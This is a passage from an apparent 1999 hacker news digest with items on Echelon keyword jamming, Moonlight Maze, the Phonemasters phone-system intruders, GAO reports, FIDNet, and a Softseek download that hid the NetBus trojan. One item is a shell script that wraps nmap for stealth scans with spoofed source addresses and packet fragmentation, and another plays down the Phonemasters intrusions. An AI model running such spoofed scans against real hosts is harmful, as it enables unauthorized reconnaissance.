of a series of radar beams and electronic transmitters, including ones that simulated cell phones and other wireless devices, says spokesman David Venz. "There was no impact" on aircraft systems, says Venz. Boeing put its jets through a similar test in 1991, and no interference was found, Boeing says. But when the airlines, concerned about growing cellular use on the ground, came to the company seeking guidance in 1993, Boeing advised them not to allow intentional transmitters, including cell phones, on the ground or during flight. Donham, the Boeing engineer, says the company adopted a "conservative position" because it didn't know enough to clear them. Boeing kept testing. In 1995, engineers at the aircraft maker conducted a four-hour test on a 737, setting up about 20 cell phones throughout the jet and monitoring the plane's radios, navigational equipment and other controls. A variety of flight conditions were simulated. The results: "Absolutely nothing," says Donham. Airbus has told airlines it sees no problem with onboard cell-phone use anywhere. "We haven't come up with any indication" that cell phones have "any negative impact," says Venz, the spokesman. Donham says Boeing is revising its cell-phone guidelines to suggest use on the ground is now acceptable. But Boeing still advises the airlines against cell-phone use in the air because the devices exceed the company's guidelines for electrical emissions. Sheehan, who is also a certified pilot, notes that cell phones are regularly used on private and corporate planes "thousands of times every day" without incident. He says he has dialed from the air on many occasions. When asked whether cell phones should be included among the list of devices such as laptop computers that are now permitted above 10,000 feet, he says "that would be OK. It's not a problem." @HWA 30.0 Global Jam Echelon Day ~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by mea culpa Echelon is a vast mythical eavesdropping network set up by various governments including the US, UK, Canada, Australia and others in order to monitor the world's electronic communications (telephone, email, fax, etc.) for subversive keywords. There seems to be two separate attempts to jam the service by overflowing it with numerous emails filled with key words. On October 18 the American Justice Federation has planned one such activity. Another grass roots movement has been scheduled for the day before Stop Police Brutality Day on October 21 in the hopes that legal authorities will be too busy chasing down bogus leads to stop any planned activities for the day. Links to Info about Echelon http://www.wodip.opole.pl/~laslo/Echelon-links.html Wired http://www.wired.com/news/news/politics/story/22102.html On both of these days netizens around the globe are implored to send out at least one email with at least one of the key words. While the actual list of words is not known it is assumed that words such as these will trigger the system: Kill FBI CIA NSA IRS ATF BATF DOD Militia gun weapon manifesto terrorism bomb Special Forces SOF Delta Force Constitution Mossad NASA MI5 Revolution Terrorist Hackers Ascend Upper 'Echelon' by James Glave 3:00 a.m. 6.Oct.99.PDT Mossad. Bomb. Davidian. MI5. If the hunch of a loose-knit group of cyber-activists is correct, the above words will trip the keyword recognition filter on a global spy system partly managed by the US National Security Agency. The near-mythical worldwide computer spy network reportedly scans all email, packet traffic, telephone conversations -- and more -- around the world, in an effort to ferret out potential terrorist or enemy communications. Once plucked from the electronic cloud, certain keywords allegedly trigger a recording of the conversation or email in question. Privacy activists have used the words in their signature files for years as a running schtick, but on 21 October, a group of activists orginating on the "hacktivist" mailing list hope to to trip up Echelon on a much wider scale. "What is [Echelon] good for?" asked Linda Thompson, a constitutional rights attorney and chairman of the American Justice Federation. "If you want to say we can catch criminals with it, it is insane that anyone should be able to snoop on anyone's conversations." "Criminals ought to be caught after they commit a crime -- but police are not here to invade all our privacy to catch that two percent [of criminal communications]," she said. A 1994 report by the Anti-Defamation League described Thompson as "an influential figure in the militia movement nationally." The report says the American Justice Federation describes itself as "a group dedicated to stopping the New World Order and getting the truth out to the American public." The Anti-Defamation League says Thompson claims to have contact with militias in all 50 states. On 21 October, Thompson, along with Doug McIntosh, a reporter for the federation's news service, and members of the hacktivism mailing list community, invite anyone concerned about the system to append a list of intriguing words to their emails. Specifically, they suggest the following keywords: FBI CIA NSA IRS ATF BATF DOD WACO RUBY RIDGE OKC OKLAHOMA CITY MILITIA GUN HANDGUN MILGOV ASSAULT RIFLE TERRORISM BOMB DRUG HORIUCHI KORESH DAVIDIAN KAHL POSSE COMITATUS RANDY WEAVER VICKIE WEAVER SPECIAL FORCES LINDA THOMPSON SPECIAL OPERATIONS GROUP SOG SOF DELTA FORCE CONSTITUTION BILL OF RIGHTS WHITEWATER POM PARK ON METER ARKANSIDE IRAN CONTRAS OLIVER NORTH VINCE FOSTER PROMIS MOSSAD NASA MI5 ONI CID AK47 M16 C4 MALCOLM X REVOLUTION CHEROKEE HILLARY BILL CLINTON GORE GEORGE BUSH WACKENHUT TERRORIST TASK FORCE 160 SPECIAL OPS 12TH GROUP 5TH GROUP SF The campaign has spread around the Net and has been translated into German. Organizers hope "gag Echelon day" catches on on a global scale as a means of raising awareness of the system. Neither the NSA, nor its UK equivalent -- the Government Communications Headquarters -- has admitted that the system exists, although its capabilities have been debated in the European Parliament. Australia's Defense Signals Directorate, an agency allegedly involved in Echelon, recently admitted the existence of UKUSA, the agreement between five national communications agencies that reportedly governs the system. Last fall, the Washington-based civil liberties group Free Congress Foundation sent a detailed report on the system to Congress, but the system was not debated. The latest effort hopes to further boost public awareness of the system. "Most people are angry about it," said Thompson. "When you find out it is not some science fiction movie, most people will be outraged." But an Australian member of the activist community hopes that "jam Echelon day" will be about public awareness of technologies of political control, not about generating paranoia. "Public awareness should empower -- not scare people aware from using the Net," the activist, who identified himself only as Sam, said. Editor's Note: This Story has been corrected. The Jam Echelon Day project will be held 21 October, and coordinated by members of the Hacktivism mailing list. The article had incorrectly suggested that the American Justice Federation had organized the event. Wired News regrets the error. @HWA 31.0 Vatis Creates Second International Incident ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by netmask Michael Vatis of the National Infrastructure Protection Center has created a second international incident. Last week he blamed India and Israel among others for introducing back doors in Y2K code fixes. Now Russia is upset over implications that it attacked US cyber defenses in an operation known as Moonlight Maze. Russia's Foreign Intelligence Service has denied allegations that a Kremlin sponsored cyber-spy ring stole information from U.S. military computers. Michael Vatis of the U.S. Federal Bureau of Investigation told a Senate sub-committee Wednesday that the FBI and NIPC thought computer intruders located in Russia had filched sensitive information from U.S. military networks. (Someone should have a sit down talk with Vatis before someone gets pissed and really does attack the US.) Excite News http://news.excite.com/news/r/991007/05/tech-russia-usa2 Russia Says Spies Not Linked To U.S. Computer Raids Updated 5:42 AM ET October 7, 1999 By Peter Graff MOSCOW (Reuters) - Reports that someone in Russia stole information from U.S. military computers do not prove a Kremlin cyber-spy ring has been uncovered, Russia's Foreign Intelligence Service said Thursday. Michael Vatis of the U.S. Federal Bureau of Investigation told a Senate sub-committee Wednesday the FBI thought computer hackers located in Russia had filched sensitive information from U.S. military networks. He was disclosing a probe, Moonlight Maze, under way for more than a year tracking what he called "a series of widespread intrusions into Defense Department, other federal government agencies and private sector computer networks." But Boris Labusov, spokesman for Russia's SVR Foreign Intelligence Service, told Reuters Russian spies would probably have been clever enough not to allow themselves to be traced. "As I understand, apparently they determined the route of the infiltrations, and the requests came from Moscow," he said. "Do you think Russian special services are so stupid as to engage in such activities directly from Moscow?...For decades everybody has written about how clever the KGB and Soviet intelligence are. Why should one think we suddenly became less clever in the last few years?" He said the culprits could have been amateur computer hackers seeking thrills, or even intelligence agents from a third country acting out of Moscow to avoid detection. "A web server is a public service. Anybody can connect." Russia's 275-year-old Academy of Sciences denied it had anything to do with the accusations. A U.S. official had said suspects in the case were thought to come from the academy, Russia's top scientific research body, which groups thousands of senior scientists at institutes and universities across the country in virtually all fields. "(Reports of intrusions) could be true: there is such a profession -- people who sneak into computer systems," academy spokesman Igor Milovidov told Reuters. "But we don't take part in that. That is complete gibberish." @HWA 32.0 Who Were the Phone Masters Really? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Ender An Interview with someone who not only knew the phonemasters personally, he learned phones from them. The PhoneMasters where a group recently arrested by the FBI for bilking the nations phone companies out of millions of dollars. The Interview tells us not about what the phonemasters did -- but about who they were and what they DIDN'T do. Sure, they could have turned off phone service to thousands of people. But they didn't. Find Out Why. Aviary Mag http://www.aviary-mag.com/Martin/The_Phonemasters_And_I/the_phonemasters_and_i.html In Response To: Unplugged! The biggest hack in history 9/6/99 Brian Martin OSAll Staff Original Article http://www.zdnet.com/filters/printerfriendly/0,6061,2345639-2,00.html By John Simons, WSJ Interactive Edition October 1, 1999 8:54 AM PT The Phonemasters and I In 1994 I was learning as much about computers and telephony as I could possibly take in. Had an extra 500-page manual? I'd digest it in days. Anything related to phones was of particular interest to me. For some reason, the computers that ran the phone systems were interesting and I found myself with an insatiable curiosity for them. Some called it an obsession. It was ironic that I hated talking on phones with anyone, even with the people sharing new information about the systems I was learning about. It didn't take long for me to move on to switches and systems that were the core of the telephone network. To this day, I can still say I never did anything harmful, destructive or malicious to any phone or computer network out there. It was all about learning the systems. The natural curiosity of a young man, focused on technology that was becoming more and more widespread. It was about knowledge and nothing else. You find yourself a newcomer to the concept of hacking, new to technology and learning. Who do you turn to? If you are truly into it because of the love of the system, anyone is willing to help. That´s how I ran into two of the 'phonemasters' back in 1994. Fortunate for me, I ran into some of the best teachers I have ever encountered. Given that one of my primary functions in my current professional life is teaching government agencies and fortune 500 companies, that statement shouldn't be taken lightly. I remember my first talk with one of the phonemasters. He was soft-spoken from the beginning, talking with a cool and reserved voice. When it came to phone systems, his voice became that of an expert. The information and advice he passed on to me was flawless. If I didn't know better, I could have easily believed he was an employee of the phone company, or some other expert professional in the industry. It didn't take long for our e-mail to lead to talking on the phone. We had maybe ten conversations over a year long period. Each one consisted of an hour or more of us discussing phone systems and the intricacies involved. While i didn't know them as close friends, we were on a first name basis during those conversations we had. Back then, a first name was a sure sign of trust and/or respect. They trusted me, I respected and trusted them implicitly. It started out talking with 'T' and eventually lead to a handful of conversations with 'G' (two of the three 'phonemasters'). Ethics Simons says in his article that the Phonemasters had "Unlimited potential for harm". While this is technically true, consider the long haul. Over five years of having this powerful access, and what harm was done? None. Like so many hackers, being malicious is not in their book. A sense of power and exploring maybe, but causing harm to anyone just wasn't considered. Simons goes on to tell us about FBI evidence that alleges they had planned on breaking into the National Crime Information Center (NIPC). So? They wouldn't be the first to compromise the FBI's pride and joy. While the three 'phonemasters' were close friends, they periodically reached out to talk to others. They were often imparting new bits of knowledge to newcomers to hacking -- they enjoyed teaching. None of them bragged about their skills, demanded tribute or did anything indicating they had large egos. It was these external talks that lead to the incident Simons refers to on January 23. He writes: "On Jan. 23, while probing a U S West telephone database, Cantrell, Bosanac, Lindsley and others stumbled over a list of telephone lines that were being monitored by law enforcement. On a lark, they decided to call one of the people -- a suspected drug dealer, says Morris -- and let him know his pager was being traced by the police." The idea of notifying the owners of traced lines actually came from another Mid West hacker who shared the deed on a conference call with two of the phonemasters. Sorry, you can't blame them for that idea. Side affects of their raid "Morris hastily arranged for an FBI raid. On Feb. 22, 1995, agents raided Cantrell's home, Lindsley's college dorm room, and burst into Bosanac's bedroom in San Diego." I remember this night quite well. A couple hackers I knew were in an absolute state of panic. They were baffled over the raid and kept wondering why they weren't recipients of an FBI visit of their own. One of the hackers admitted to me that he too had been hacking some of the same phone computers that the phonemasters had. He had even found printouts of their activity in the trash can of a U.S. West Central Office and later confirmed it was their activity that generated these printouts. Another hacker in touch with the phonemasters paid me a visit that night. He was openly sweating and a little out of breath. I quickly found out that he had spent the day cleaning his place, in fear of impending FBI raid. He had thrown out over forty technical manuals detailing the use of various phone systems. He had also thrown out a wide range of hardware and other extraneous equipment he felt he no longer needed. Some of his friends were not thrilled with his decision. A veritable gold mine of information was lost forever. Co-conspirators Three individuals are being charged with crimes related to this long term intrusion. After half a decade of running through phone, credit and every other system out there, a question emerges. Did they do it alone? Of course not. During one of my phone conversations with 'T', he told me about a night he was dabbling on some system. He typed in a long command and received an error message. Trying again and altering his syntax yielded no success either. As he sat there pondering the correct command to type in, someone else on the system did it for him. Alarmed at first, he wondered who could have done it for him. Perhaps one of the other phonemasters he thought? Not this time, instead, a legitimate phone technician was the one to help. He went on to describe the hours of technical help the phone company employee gave him. The whole time fully aware that his student had no right to be on the system. The sum of the charges... While the three 'phonemasters' did break laws by intruding into these sensitive and critical systems, there are a few things we need to remember. If such vital and life saving systems are vulnerable to this widespread and lengthy hack, why are we relying on them? Why hasn't the government put more resources or some form of standards on these mission critical systems? Based on my limited conversations with the `phonemasters´ I can say it is somewhat comforting knowing these three were involved rather than malicious hackers. More importantly, that these technically brilliant hackers were at the keyboard. The systems they were in, like the AT&T 1AESS switch, weren´t the most fault tolerant systems. Commands that go awry have a tendency to leave thousands of people without phone service. Novice hackers finding themselves in the same situations the 'phonemasters' enjoyed could have presented a real threat to citizens everywhere. When you read these articles, remember that the sum of their charges do not paint a full picture of what kind of people they really are. @HWA 33.0 Twstdpair's [HWA] nmap scanner frontend ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #!/bin/sh # # scan.sh v1.0b # # Written by Twstdpair [HWA] greets to the HWA gang and everyone on # #hwa.hax0r.news on efnet... # # This shell script created with VIX (Also written by The Twisted Pair) # # Internal vars: # #_debug=1 _longdate=`date "+%A %B %d, %Y"` _time24=`date +%T` _binbase=$HOME/bin _scriptname=${0#${_binbase}/} # # Builtin debug function: # if [ ! -z $_debug ]; then echo "_scriptname="$_scriptname exit 2 fi # # Comment this out or remove it if your script takes no parameters # if [ $# -eq 0 ]; then echo "usage:" $_scriptname "[-tusfxnp] [-log] ip" exit 1 fi # # Script name: scan # Created by : The Twisted Pair # Created on : Thursday October 07, 1999 at 15:48:37 # # ---------------------------------------------------- # Option Scan Type Stealth? Sp00f Opts? # ---------------------------------------------------- # t (default) TCP No No # u UDP No No # p Ping No No # s SYN Somewhat Yes # f FIN Yes Yes # x Xmas-Tree Yes Yes # n NULL Yes Yes # Modify these to suit what you want. # Check out the -e param in spoof_presets to make sure its using the correct device base_opts="-Ov" pkt_frag_presets="-f" spoof_presets="-S 192.168.0.2 -e eth0 -P0" for user_param in "$@" ; do case $user_param in -log ) log_yn="y" ;; -t ) scan_opts="-sT" pkt_frag_opts="" spoof_opts="" ;; -u ) scan_opts="-sU" pkt_frag_opts="" spoof_opts="" ;; -s ) scan_opts="-sS" pkt_frag_opts=$pkt_frag_presets spoof_opts=$spoof_presets ;; -f ) scan_opts="-sF" pkt_frag_opts=$pkt_frag_presets spoof_opts=$spoof_presets ;; -x ) scan_opts="-sX" pkt_frag_opts=$pkt_frag_presets spoof_opts=$spoof_presets ;; -n ) scan_opts="-sN" pkt_frag_opts=$pkt_frag_presets spoof_opts=$spoof_presets ;; -p ) scan_opts="-sP" pkt_frag_opts="" spoof_opts="" ;; esac done for i do bad_host_ip="$i"; done if [ `expr "$bad_host_ip" : '-*'` -gt 0 ]; then echo "usage:" $_scriptname "[-tusfxnp] [-log] ip" exit 1 fi if [ ! -z $log_yn ]; then log_opts="-o ~/shitlist/"$bad_host_ip".log" fi nmap $base_opts $scan_opts $spoof_opts $pkt_frag_opts $log_opts $bad_host_ip @HWA 34.0 Another GAO Report Says US Vulnerable ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by evilwench In a truly shocking move the GAO released yet another report yesterday titled ""Critical Infrastructure Protection: Comprehensive Strategy Can Draw on Year 2000 Experience" which states the government's computer infrastructure remains dangerously vulnerable to terrorist attack. Perhaps if they quit writing specially commissioned reports and start tackling the problems with actions instead of rhetoric they could see some progress. CNN http://www.cnn.com/TECH/computing/9910/06/feds.easy.target.idg/index.html Feds still vulnerable to cyberattacks October 6, 1999 Web posted at: 10:41 a.m. EDT (1441 GMT) by Keith Perine (IDG) -- Despite the efforts of several federal agencies and task forces to fight cybercrime, the government's computer infrastructure remains dangerously vulnerable to attack from terrorists, computer viruses and saboteurs, according to a report released today by the General Accounting Office. The study, entitled "Critical Infrastructure Protection: Comprehensive Strategy Can Draw on Year 2000 Experience," says that computer networks maintained by the Department of Defense, the Internal Revenue Service and 20 other major federal agencies don't have enough firewalls and access controls to guarantee protection against outside assault. "A widespread, well-organized attack could severely disrupt or damage critical systems," the report says. The warning follows governmental efforts to step up computer security. In May 1998, President Clinton issued an executive order which directed federal agencies to coordinate their efforts with the private sector to combat cybercrime. The Federal Bureau of Investigation has since established a special cybercrime unit. And last Friday, the Treasury Department announced that it was joining with several major banks and investment firms to launch its own crime-watch unit to monitor the electronic financial industry. But the GAO warned today that those efforts suffered from a lack of overall coordination and central planning. The agency is worried that resources are being spread too thinly, and that some work might be duplicated unnecessarily. Unless a central agency or group can spearhead the government's efforts, the steps taken will be "unfocused, inefficient and ineffective," according to the report. "You've got a lot of people with a lot of good intentions," says GAO spokesperson Jean Voltz. "But there's no cohesive strategy." The agency's report stops short of making specific recommendations for how to focus the government's efforts. The report was commissioned by Sen. Robert Bennett (R-Utah), the chair of a special Senate committee that's monitoring the government's technical preparations for the year 2000. Bennett asked the GAO to size up the government's computer security risks as it observed those preparations. This isn't the first time the GAO has sounded the alarm. In several studies since September 1996, the agency has called poor information security a "widespread federal problem." Earlier this year, GAO auditors successfully penetrated the National Aeronautics and Space Administration's computer system. In August, the GAO reported that several Defense Department databases have already been compromised by cybercriminals. In fact, according to the CERT Coordination Center, established by the Defense Department in 1988 to track cybercrime, the number of reported security breaches in U.S. computer systems has skyrocketed, reaching 4,398 in the first half of this year, up from 1,334 in all of 1993. The Clinton administration is working on an action plan to coordinate the government's security measures. The report, which has been delayed several times, is expected by the end of the month. @HWA 35.0 FidNet Gets Funding ~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by evilwench The House Appropriations Committee recently eliminated funding for the proposed federal intrusion detection surveillance system (FIDNet). The White House, however, has found other funding through a $611 million mid-year fiscal 2000 budget amendment. The Office of Management and Budget sent the request to congress which included $39 million for enhancing computer security and critical infrastructure protection within several agencies. $8.4 million of which will be used for the Proposed FIDNet system to be run by the General Services Administration. Government Executive Magazine http://www.govexec.com/dailyfed/1099/100699b2.htm October 6, 1999 DAILY BRIEFING White House finds funding for security network By Bara Vaida, National Journal's Technology Daily The House Appropriations Committee may have eliminated funding for the Clinton Administration's proposed federal intrusion detection surveillance system (FIDNet), but the White House found another vehicle for funding through a $611 million mid-year fiscal 2000 budget amendment. On Sept. 21, the White House's Office of Management and Budget sent up the proposed request to Congress, including $39 million for enhancing computer security and critical infrastructure protection within several agencies. The president requested $8.4 million for FIDNet to be run by the General Services Administration. "The proposal would, through the use of additional staff and enhanced technology, improve federal agencies' ability to detect computer attacks and unauthorized instructions, share attack warnings and related information across agencies and respond to attacks," according to the written proposal. In July, the White House revealed its plan to create FIDNet, which is aimed at centralizing computer intrusion detection. It immediately was criticized by privacy and civil liberties groups and some members of Congress who were concerned that the system would result in federal surveillance of all computer networks. In September, House appropriators denied funding designated for FIDNet in the Commerce, State and Justice appropriations bill in August. Administration officials have said that FIDNet would monitor only federal networks, though an early draft of the plan envisioned that eventually private networks would also be overseen, said Richard Diamond, spokesman for House Majority Leader Dick Armey, R-Texas. Jon Jennings, acting assistant attorney general for legislative affairs at the Justice Department, told Armey in a Sept. 22 letter that the media had "mischaracterized" the FIDNet proposal, but Armey's concerns have not been assuaged. "They have made some steps backward to address the concerns we raised over the program, but we aren't satisfied quite yet that they are taking privacy concerns fully… We want them to say in absolute terms that (FIDNet) will not be used in anyway to cover private networks," Diamond said. Armey has given the administration a deadline of Oct. 15 to respond fully to his concerns, Diamond said. @HWA 36.0 Softseek.com Distributes Trojan Horse ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by pchelp An application distributed by Softseek.com, a ZDNet web site, called WinSec v1.01 claims to be designed to restrict users from accessing certain Windows features. In actuality this program is a Trojan Horse disguising NetBus. NetBus is a remote administration tool that could be used by a malicious attacker to gain control of an unsuspecting users machine. Softseek, has failed to respond to questions about the incident. PC Help Advisory http://www.nwi.net/~pchelp/security/alerts/softseek.htm FOR IMMEDIATE RELEASE Thursday, 7 October 1999 1900:00 PDT ZDNET SITE SENDS USERS TO BACKDOOR PROGRAM Softseek.Com Promotes Trojan Horse to Unwitting Users Among the security applications recommended by Softseek.com at its popular download site is a well-known and very capable backdoor program called NetBus. The trojan horse program is being deceptively promoted as WinSec v1.01, "a Windows security program designed to restrict users from accessing certain Windows features." If an unsuspecting user downloads and runs the program, it immediately installs hidden backdoor access, opening the victim's computer to comprehensive intrusion via the Internet link. The Softseek representation displays a screen shot of a seemingly purposeful application, and describes it in some detail. It's unknown whether a legitimate application by the name "WinSec" actually exists. At last check (7PM PDT 7 October), and despite user complaints, Softseek still features the bogus program at URL: http://www.softseek.com/Utilities/Encryption_Security_and_Passwords/Security_and_Access_Control/4index.html The bogus review appears at: http://www.softseek.com/Utilities/Encryption_Security_and_Passwords/Security_and_Access_Control/Review_24937_index.html Links lead the Softseek site's visitors to an anonymous website hosted by Xoom.com. The backdoor program is in clear violation of Xoom's Terms of Service. Document dates indicate the site has existed in its present form since September 1st 1999. Softseek has featured WinSec since at least June 14th of this year. The originator's identity is nowhere to be seen and may well prove impossible to determine. Given the high-traffic nature of the Softseek site, the hostile application could easily have been accessed by tens of thousands of victims over the past month. To make matters worse, one victimized user reports that a Softseek representative forwarded his complaint, with his email address, to the trickster. This places the victim at potential risk of retribution. The incident raises serious questions about Softseek's screening procedures, its handling of complaints, and the legitimacy of its other offerings. Users who complain to Softseek about hostile applications may be placed at further risk when their identities are exposed to malefactors. Softseek, a ZDNet company, has failed to respond to questions about the incident. A ZDNet representative was notified by phone of the problem, and promised action before 6PM this evening. But the Softseek site remains unchanged and a promised callback from ZDNet never materialized. An HTML version of this alert is at: http://www.nwi.net/~pchelp/security/alerts/softseek.htm Please contact pchelp@nwi.net for further details. @HWA 37.0 Global Jam Echelon Day Update ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by James Evidently there has been some confusion as to when the Global Jam Echelon day will take place. The now confirmed date is October 21st and not October 18th as previously reported here and elsewhere. Echelon is a vast mythical eavesdropping network set up by various governments including the US, UK, Canada, Australia and others in order to monitor the world's electronic communications (telephone, email, fax, etc.) for subversive keywords. On October 21st netizens around the globe are implored to send out at least one email with at least one of the key words. While the actual list of words is not known it is assumed that words such as these will trigger the system: Kill FBI CIA NSA IRS ATF BATF DOD Militia gun weapon manifesto terrorism bomb Special Forces SOF Delta Force constitution Mossad NASA MI5 revolution terrorist economy Wired http://www.wired.com/news/news/politics/story/22102.html (printed elsewhere this issue) Global Jam Echelon Day http://www.echelon.wiretapped.net/ 38.0 NSA Document Retrieval Capabilities ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by spiderus Considering the technology available for document retrieval it is doubtful that the Global Jam Echelon Day will have any impact if the messages only contain keywords. These links indicate that the NSA's (and probably other agencies) information sorting capability (n-gram analysis) is extremely more advanced than simple keyword grabbing. This technology isn't new either it has been available publicly for license since 1993. Considering the computing power available to high-level government agencies in conjunction with this document retrieval technology it is doubtful that the plan to jam or overflow the Echelon system will have a large effect. (Can't hurt to try though.) National Security Agency - Technology Overview http://www.nsa.gov:8080/programs/tech/factshts/infosort.html Patent on method of retrieving documents by topic http://164.195.100.11/netacgi/nph-Parser?Sect1=PTO1&Sect2=HITOFF&d=PALL&p=1&u=/netahtml/srchnum.htm&r=1&f=G&l=50&s1='5,418,951'.WKU.&OS=PN/5,418,951&RS=PN/5,418,951 Information Sorting and Retrieval by Language or Topic TECHNICAL DESCRIPTION: This technique is an extremely simple, fast, completely general method of sorting and retrieving machine-readable text according to language and/or topic. The method is totally independent of the particular languages or topics of interest, and relies for guidance solely upon examples (e.g., existing documents, fragments, etc.) provided by the user. It employs no dictionaries, keywords, stoplists, stemming, syntax, semantics, or grammar; nevertheless, it is capable of distinguishing among closely-related topics (previously considered inseparable) in any language, and it can do so even in text containing a great many errors (typically 10-15% of all characters). The technique can be quickly implemented in software on any computer system, from microprocessor to supercomputer, and can easily be implemented in inexpensive hardware as well. It is directly scaleable to very large data sets (millions of documents). U.S. Patent No. 5,418,951. COMMERCIAL APPLICATION: Language and topics-independent sorting and retrieval of documents satisfying dynamic criteria defined only by existing documents. Clustering of topically related documents, with no prior knowledge of the languages or topics that may be present. If desired, this activity can automatically generate document selectors. Specialized sorting tasks, such as identification of duplicate or near-duplicate documents in a large set. Released: 1993 -=- United States Patent 5,418,951 Damashek May 23, 1995 Method of retrieving documents that concern the same topic Abstract A method of identifying, retrieving, or sorting documents by language or topic involving the steps of creating an n-gram array for each document in a database, parsing an unidentified document or query into n-grams, assigning a weight to each n-gram, removing the commonality from the n-grams, comparing each unidentified document or query to each database document, scoring the unidentified document or query against each database document for similarity, and based on the similarity score, identifying retrieving, or sorting the document or query with-respect to language or topic. Inventors: Damashek; Marc (Hampstead, MD) Assignee: The United States of America as represented by the Director of National (Washington, DC) Appl. No.: 316495 Filed: September 30, 1994 U.S. Class: 395/600; 364/DIG.1; 364/DIG.2 Intern'l Class: G06F 007/00 Field of Search: 395/600 364/DIG. 1,DIG. 2 References Cited [Referenced By] U.S. Patent Documents 4754489 Aug., 1988 Bokser 382/40. 5031206 Jul., 1991 Riskin 379/97. 5062143 Oct., 1991 Schmitt 382/36. 5150425 Sep., 1992 Martin et al. 382/14. 5182708 Jan., 1993 Ejiri 364/419. 5251131 Oct., 1993 Massand et al. 364/419. 5276741 Jan., 1994 Aragon 382/40. 5293466 Mar., 1994 Bringmann 395/114. Primary Examiner: Black; Thomas G. Assistant Examiner: Homere; Jean R. Attorney, Agent or Firm: Maser; Thomas O. Morelli; Robert D. Parent Case Text This Application is a Continuation of U.S. patent application Ser. No. 07/932,522, filed Aug. 20, 1992, which is now abandoned. Claims 1. A method of retrieving at least one document that concerns the same topic as a sample of text by comparing the at least one document to the sample of text, comprising the steps of: a) constructing a first list of unique character groupings that occur in one of the at least one document for each of the at least one document; b) constructing a second list of unique character groupings that occur in the sample of text; c) assigning a first numerical value to each unique character grouping on each first list, where the first numerical value assigned to one of the unique character groupings is equal to the number of occurrences of the unique character grouping within the document divided by the total number of character groupings within the document; d) assigning a second numerical value to each unique character grouping on the second list, where the second numerical value assigned to one of the unique character groupings is equal to the number of occurrences of the unique character grouping within the sample of text divided by the total number of character groupings within the sample of text; e) constructing a third list of unique character groupings that occur in the at least one document and the sample of text; f) assigning a third numerical value to each unique character grouping on the third list, where the third numerical value assigned to one of the unique character groupings is equal to the sum of the first numerical values of the unique character grouping from all of the first lists divided by the total number of first lists; g) replacing each first numerical value on each first list with a corresponding fourth numerical value, where the fourth numerical value for one of the unique character groupings is equal to the first numerical value of the unique character grouping minus the corresponding third numerical value for the unique character grouping; h) replacing each second numerical value on the second list with a corresponding fifth numerical value, where the fifth numerical value for one of the unique character groupings is equal to the second numerical value of the unique character grouping minus the corresponding third numerical value for the unique character grouping; i) calculating a score for each at least one document with respect to the sample text, where said score is the summation of the products of the fifth numerical values times the corresponding fourth numerical values divided by the square root of the products of the summation of the squares of the fifth numerical values times the summation of the squares of the corresponding fourth numerical values; and j) retrieving the documents from the at least one document that obtained a calculated score in the previous step that is above a user-definable score, where each retrieved document is deemed to concern the same topic as the sample of text. 2. The method of claim 1, wherein said step of constructing a first list of unique character groupings comprises constructing a first list of unique character groupings where each character grouping is a group of consecutive characters of the same length, where the length is any positive integer, where each successive character grouping begins at a character position that is one character position away from the beginning of the immediately preceding character grouping. 3. The method of claim 1, wherein said step of constructing a second list of unique character groupings comprises constructing a second list of unique character groupings where each character grouping is a group of consecutive characters of the same length, where the length is any positive integer, where each successive character grouping begins at a character position that is one character position away from the beginning of the immediately preceding character grouping. 4. The method of claim 1, further comprising the step of replacing the small letters in the sample text and the at least one document with corresponding capital letters. 5. The method of claim 1, further comprising the step of discarding the punctuation marks in the sample text and the at least one document. 6. The method of claim 1, further comprising the step of removing multiple spaces in the sample text and the at least one document. 7. The method of claim 2, wherein said step of constructing a second list of unique character groupings comprises constructing a second list of unique character groupings where each character grouping is a group of consecutive characters of the same length, where the length is any positive integer, where each successive character grouping begins at a character position that is one character position away from the beginning of the immediately preceding character grouping. 8. The method of claim 7, further comprising the step of replacing the small letters in the sample text and the at least one document with corresponding capital letters. 9. The method of claim 8, further comprising the step of discarding the punctuation marks in the sample text and the at least one document. 10. The method of claim 9, further comprising the step of removing multiple spaces in the sample text and the at least one document. Description BACKGROUND OF THE INVENTION 1. Field of the Invention This invention relates to a document retrieval method, and more particularly to a document retrieval method capable of full text searching without the need for keyword or context-based information. This method can be used to identify, retrieve, and sort documents by topic or language. This method is also useful for identifying, retrieving, and sorting any form of communication such as acoustic signals (e.g., speech) and graphic symbols (e.g., pictures) that can be represented in machine readable format. 2. Description of Related Art In "DARPA Eyes Smart Text Sifters", a published article by R. Colin Johnson in Electronic Engineering Times, Feb. 17, 1992, pp. 35 it was indicated that extensive research efforts have been expended to find better ways of searching textual databases in order to retrieve documents of concern to the user. It was indicated that several fundamental problems stand in the way of realizing any meaningful breakthroughs. One technique to improve searches has been to create specialized hardware that can process information faster. The problem with this approach is that the improvements in processing speed have not kept pace with the rate at which database information has expanded. It was mentioned that a fundamental theoretical breakthrough was required to improve the way information is retrieved from large databases. Conventional information retrieval systems are still based on using keywords or phrases with operators (e.g., and, or, not) to identify documents of interest. The problem with this technique is that documents may contain a synonym of the keyword rather than the keyword itself (e.g., car vs. automobile), or an inflected form of the keyword (e.g., retrieving vs. retrieve). Such systems are typically sensitive to spelling or data-transmission errors at the input. The operators may also be difficult to use. Additional problems include identifying appropriate keywords, identifying appropriate synonyms, and retrieving either insufficient, voluminous and/or extraneous documents. Typically an extensive table of synonyms is used to mitigate these problems. But this method increases memory requirements and slows processing time. Another problem with keyword searches is that the meaning of the keyword usually depends on the context in which it is used. Therefore without some indication of the desired context of the keyword, the chances of retrieving unwanted documents are great. Prior approaches to document retrieval have attempted to overcome this problem by adding contextual information to the search using techniques such as context vectors, conceptual graphs, semantic networks, and inference networks. These techniques also increase memory requirements and slow processing time. Adding context information is also a task requiring significant time of a trained individual. In "Global Text Matching for Information Retrieval", a published article by G. Salton and C. Bucklay in Science, Vol. 253, Aug. 30, 